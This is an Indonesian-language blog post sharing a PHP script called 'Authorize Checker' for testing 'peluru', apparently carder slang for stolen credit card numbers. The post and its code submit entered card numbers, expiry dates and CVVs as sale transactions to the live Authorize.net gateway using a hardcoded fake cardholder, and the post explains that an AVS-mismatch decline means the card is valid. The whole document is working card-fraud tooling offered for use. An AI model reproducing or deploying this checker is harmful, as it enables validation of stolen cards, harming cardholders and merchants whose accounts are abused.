Authorize Checker
Berikut adalah script untuk check peluru kalian, ingat kalian harus memasukkan terlebih dahulu account authorize yang valid agar script berjalan.
apabila ada pesan Merchant Respond: The transaction has been declined because of an AVS mismatch. The address provided does not match billing address of cardholder. maka peluru itu valid.
harap digunakan dengan baik ya...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <HTML lang='en'> <HEAD> <link href='https://lh4.googleusercontent.com/-sOnLe5URs2E/UhqYOahs-hI/AAAAAAAAAEU/AA3pRyxWxRg/h120/indonesia.gif' rel='shortcut icon'/> <style type="text/css"> <!-- .ui-effects-transfer { border: 2px dotted gray; } body,td,th { font-family: Georgia; color: #00FF00; } body, html { background-color: #000000; padding:0; margin:0; height:100%; } h1 { font-size:250%; } .theAbs { top:0; position:absolute; } --> </style> <TITLE>Authorize Checker by ...::[BABY CORP]::...</TITLE> </HEAD> <BODY> <br><br> <div align="center"><font size="16px"> Authorize Checker by ...::[BABY CORP]::... </font> </div> <form name="payform" method="post" action="<?php $_SERVER['PHP_SELF'];?>"> <div class="maindiv" align="center"> <input name="firstname" type="hidden" value="Jonny"> <input name="lastname" type="hidden" value="Daniel"> <input name="email" type="hidden" value="hoamsss@hotmail.com"> <input name="address" type="hidden" value="385 Homestead Ave"> <input name="city" type="hidden" value="Hartford"> <input name="state" type="hidden" value="CT"> <input name="cardholder" type="hidden" value="Jonny Daniel"> <input name="zip" type="hidden" value="06112"> <div class="rightbox"><br><br><br> <div class="leftone">Card Number</div> <div class="rightone"><input name="cardnumber" type="text" maxlength="16"></div> <div class="leftone">Expiration</div> <div class="leftone"><input name="cardyear" type="text" maxlength="4"></div> <div class="leftone">CVV Number</div> <div class="rightone"><input name="cardcvv" type="text" maxlength="4"></div> <div class="leftone">Amount</div> <div class="rightone"><input name="amount" type="text" maxlength="3" value="100"></div> <br><br><br> <div class="leftone""><input value="Pay Now" style="border:1px outset gray; width:100px;" type="submit"></div> <div class="clear"></div> </div> <br><br> </form> <?php if ($_SERVER['REQUEST_METHOD'] == "POST") { $LOGINKEY = 'CHANGE IT';// x_login $TRANSKEY = 'CHANGE IT';//x_tran_key $firstName =urlencode( $_POST['firstname']); $lastName =urlencode($_POST['lastname']); $creditCardType =urlencode( $_POST['cardtype']); $creditCardNumber = urlencode($_POST['cardnumber']); $expDateYear =urlencode( $_POST['cardyear']); $cvv2Number = urlencode($_POST['cardcvv']); $address1 = urlencode($_POST['address']); $city = urlencode($_POST['city']); $state =urlencode( $_POST['state']); $zip = urlencode($_POST['zip']); //give the actual amount below $amount = urlencode( $_POST['amount']); $currencyCode="USD"; $paymentType="Sale"; $post_values = array( "x_login" => "$LOGINKEY", "x_tran_key" => "$TRANSKEY", "x_version" => "3.1", "x_delim_data" => "TRUE", "x_delim_char" => "|", "x_relay_response" => "FALSE", //"x_market_type" => "2", "x_device_type" => "1", "x_type" => "AUTH_CAPTURE", "x_method" => "CC", "x_card_num" => $creditCardNumber, "x_exp_date" => $expDateYear, "x_card_code" => $cvv2Number, "x_amount" => $amount, "x_first_name" => $firstName, "x_last_name" => $lastName, "x_address" => $address1, "x_state" => $state, "x_response_format" => "1", "x_zip" => $zip ); $post_string = ""; foreach( $post_values as $key => $value )$post_string .= "$key=" . urlencode( $value ) . "&"; $post_string = rtrim($post_string,"& "); //for live mode use the followin url $post_url = "https://secure.authorize.net/gateway/transact.dll"; //for test use this url //$post_url = "https://test.authorize.net/gateway/transact.dll"; $request = curl_init($post_url); // initiate curl object curl_setopt($request, CURLOPT_HEADER, 0); // set to 0 to eliminate header info from response curl_setopt($request, CURLOPT_RETURNTRANSFER, 1); // Returns response data instead of TRUE(1) curl_setopt($request, CURLOPT_POSTFIELDS, $post_string); // use HTTP POST to send form data curl_setopt($request, CURLOPT_SSL_VERIFYPEER, FALSE); // uncomment this line if you get no gateway response. $post_response = curl_exec($request); // execute curl post and store results in $post_response // additional options may be required depending upon your server configuration // you can find documentation on curl options at http://www.php.net/curl_setopt curl_close ($request); // close curl object // This line takes the response and breaks it into an array using the specified delimiting character $response_array = explode($post_values["x_delim_char"],$post_response); if($response_array[0]==2||$response_array[0]==3) { //success echo '<b>Payment Failure</b>. <br>'; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo '<br><br>Press back button to go back to the previous page'; echo "<br><br><br><br>"; } else { $ptid = $response_array[6]; $ptidmd5 = $response_array[7]; echo "Payment Success"; echo '<br><br><b>Merchant Respond</b>: '.$response_array[3]; echo '<br><br><b>Merchant CC Respond</b>: '.$response_array[5]; echo '<br><br><b>Merchant CVV Respond</b>: '.$response_array[38]; echo "<br><br><br><br>"; } } ?> <div align="center"> <a href='http://www.babycorp.name' target='_blank'><b>BabyCorp Authorize Checker 1.0</b></a> - Copyright © 2011 - <a href="http://www.babycorp.name" target="_blank"><b>...::[BABY CORP]::...</b></a> <br /> </div> </BODY> </HTML>
Disclaimer: gambar, artikel ataupun video yang ada di web ini terkadang berasal dari berbagai sumber media lain. Hak Cipta sepenuhnya dipegang oleh sumber tersebut. Jika ada masalah terkait hal ini, Anda dapat menghubungi kami di halaman ini.